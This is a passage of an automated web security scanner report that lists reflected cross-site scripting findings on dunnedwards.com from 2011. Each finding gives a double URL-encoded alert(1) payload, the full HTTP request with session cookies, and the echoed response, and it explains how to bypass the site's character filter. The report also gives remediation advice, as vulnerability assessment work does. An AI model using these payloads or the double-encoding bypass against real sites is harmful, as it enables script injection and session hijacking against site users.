Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /DesktopModules/sfOmniture/js/s_codeProd.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 81777%2522%253balert%25281%2529%252f%252f748f00a53a0 was submitted in the REST URL parameter 4. This input was echoed as 81777";alert(1)//748f00a53a0 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /DesktopModules/sfOmniture/js/s_codeProd.js81777%2522%253balert%25281%2529%252f%252f748f00a53a0 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:24 GMT
Content-Length: 66763

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/DesktopModules/sfOmniture/js/s_codeProd.js81777";alert(1)//748f00a53a0"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.11. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/facebox.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d187%2522%253balert%25281%2529%252f%252f655a65f46ba was submitted in the REST URL parameter 1. This input was echoed as 6d187";alert(1)//655a65f46ba in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals6d187%2522%253balert%25281%2529%252f%252f655a65f46ba/1/Skins/Main/js/facebox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:01 GMT
Content-Length: 66734

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals6d187";alert(1)//655a65f46ba/1/Skins/Main/js/facebox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="
...[SNIP]...

1.12. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/facebox.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload de8d5%2522%253balert%25281%2529%252f%252f91afbb86344 was submitted in the REST URL parameter 2. This input was echoed as de8d5";alert(1)//91afbb86344 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1de8d5%2522%253balert%25281%2529%252f%252f91afbb86344/Skins/Main/js/facebox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:09 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1de8d5";alert(1)//91afbb86344/Skins/Main/js/facebox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Pa
...[SNIP]...

1.13. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/facebox.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 7b1b8%2522%253balert%25281%2529%252f%252f9f31a8f21d1 was submitted in the REST URL parameter 3. This input was echoed as 7b1b8";alert(1)//9f31a8f21d1 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins7b1b8%2522%253balert%25281%2529%252f%252f9f31a8f21d1/Main/js/facebox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:19 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins7b1b8";alert(1)//9f31a8f21d1/Main/js/facebox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not
...[SNIP]...

1.14. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/facebox.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a4d2c%2522%253balert%25281%2529%252f%252f2b57422d777 was submitted in the REST URL parameter 4. This input was echoed as a4d2c";alert(1)//2b57422d777 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 4 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Maina4d2c%2522%253balert%25281%2529%252f%252f2b57422d777/js/facebox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:28 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Maina4d2c";alert(1)//2b57422d777/js/facebox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Foun
...[SNIP]...

1.15. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 5]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/facebox.js

Issue detail

The value of REST URL parameter 5 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c2b58%2522%253balert%25281%2529%252f%252f42c7def327f was submitted in the REST URL parameter 5. This input was echoed as c2b58";alert(1)//42c7def327f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/jsc2b58%2522%253balert%25281%2529%252f%252f42c7def327f/facebox.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:38 GMT
Content-Length: 66735

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/jsc2b58";alert(1)//42c7def327f/facebox.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
...[SNIP]...

1.16. http://www.dunnedwards.com/Portals/1/Skins/Main/js/facebox.js [REST URL parameter 6]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/facebox.js

Issue detail

The value of REST URL parameter 6 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload b0e54%2522%253balert%25281%2529%252f%252fc1796fd6c68 was submitted in the REST URL parameter 6. This input was echoed as b0e54";alert(1)//c1796fd6c68 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 6 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skins/Main/js/facebox.jsb0e54%2522%253balert%25281%2529%252f%252fc1796fd6c68 HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:48 GMT
Content-Length: 66734

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skins/Main/js/facebox.jsb0e54";alert(1)//c1796fd6c68"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1="Page Not Found"
s.eVar2=""
...[SNIP]...

1.17. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery-1.4.1.min.js

Issue detail

The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 67deb%2522%253balert%25281%2529%252f%252f87063d96adb was submitted in the REST URL parameter 1. This input was echoed as 67deb";alert(1)//87063d96adb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals67deb%2522%253balert%25281%2529%252f%252f87063d96adb/1/Skins/Main/js/jquery-1.4.1.min.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:08 GMT
Content-Length: 66803

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals67deb";alert(1)//87063d96adb/1/Skins/Main/js/jquery-1.4.1.min.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""

...[SNIP]...

1.18. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery-1.4.1.min.js

Issue detail

The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 9bb01%2522%253balert%25281%2529%252f%252fe9d2157136f was submitted in the REST URL parameter 2. This input was echoed as 9bb01";alert(1)//e9d2157136f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/19bb01%2522%253balert%25281%2529%252f%252fe9d2157136f/Skins/Main/js/jquery-1.4.1.min.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:18 GMT
Content-Length: 66804

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/19bb01";alert(1)//e9d2157136f/Skins/Main/js/jquery-1.4.1.min.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.
...[SNIP]...

1.19. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 3]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery-1.4.1.min.js

Issue detail

The value of REST URL parameter 3 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d86b2%2522%253balert%25281%2529%252f%252fb5d7e2a3826 was submitted in the REST URL parameter 3. This input was echoed as d86b2";alert(1)//b5d7e2a3826 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. There is probably no need to perform a second URL-decode of the value of REST URL parameter 3 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /Portals/1/Skinsd86b2%2522%253balert%25281%2529%252f%252fb5d7e2a3826/Main/js/jquery-1.4.1.min.js HTTP/1.1
Host: www.dunnedwards.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.187 Safari/535.1
Accept: */*
Referer: http://www.dunnedwards.com/retail9190c%2522%253balert%2528document.location%2529%252f%252f57f65b3d75b/content.asp
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: .ASPXANONYMOUS=dg8hURS6zAEkAAAAYjFjMWQ2NDUtN2ZlYi00Y2ZlLTk1MGEtZDhhZjYwYTQ1Mjcz0; ASP.NET_SessionId=oj4n4xvmlec1hyu0ycu1kr45; language=en-US; colorChipCartGUID=eb8103c4-9900-43d6-a176-44f5fb2e4205

Response

HTTP/1.1 404 Not Found
Cache-Control: private
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.0
X-AspNet-Version: 2.0.50727
Set-Cookie: language=en-US; path=/; HttpOnly
X-Compressed-By: DotNetNuke-Compression
X-Powered-By: ASP.NET
Date: Wed, 05 Oct 2011 17:20:27 GMT
Content-Length: 66804

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-US" lang="en-US">
<h
...[SNIP]...
<![CDATA[
s.pageName="404:http://www.dunnedwards.com:80/Portals/1/Skinsd86b2";alert(1)//b5d7e2a3826/Main/js/jquery-1.4.1.min.js"
s.channel=""
s.server="DEserver1"
s.pageType="errorPage"
s.events=""
s.products=""
s.purchaseID=""
s.transactionID=""
s.campaign=""
s.state=""
s.zip=""
s.eVar1=
...[SNIP]...

1.20. http://www.dunnedwards.com/Portals/1/Skins/Main/js/jquery-1.4.1.min.js [REST URL parameter 4]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.dunnedwards.com
Path:   /Portals/1/Skins/Main/js/jquery-1.4.1.min.js

Issue detail

The value of REST URL parameter 4 is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 3babd%2522%253balert%25281%2529%252f%252fcc556bd7989 was submitted in the REST URL parameter 4. This input was echoed as 3babd";alert(1)//cc556bd7989 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

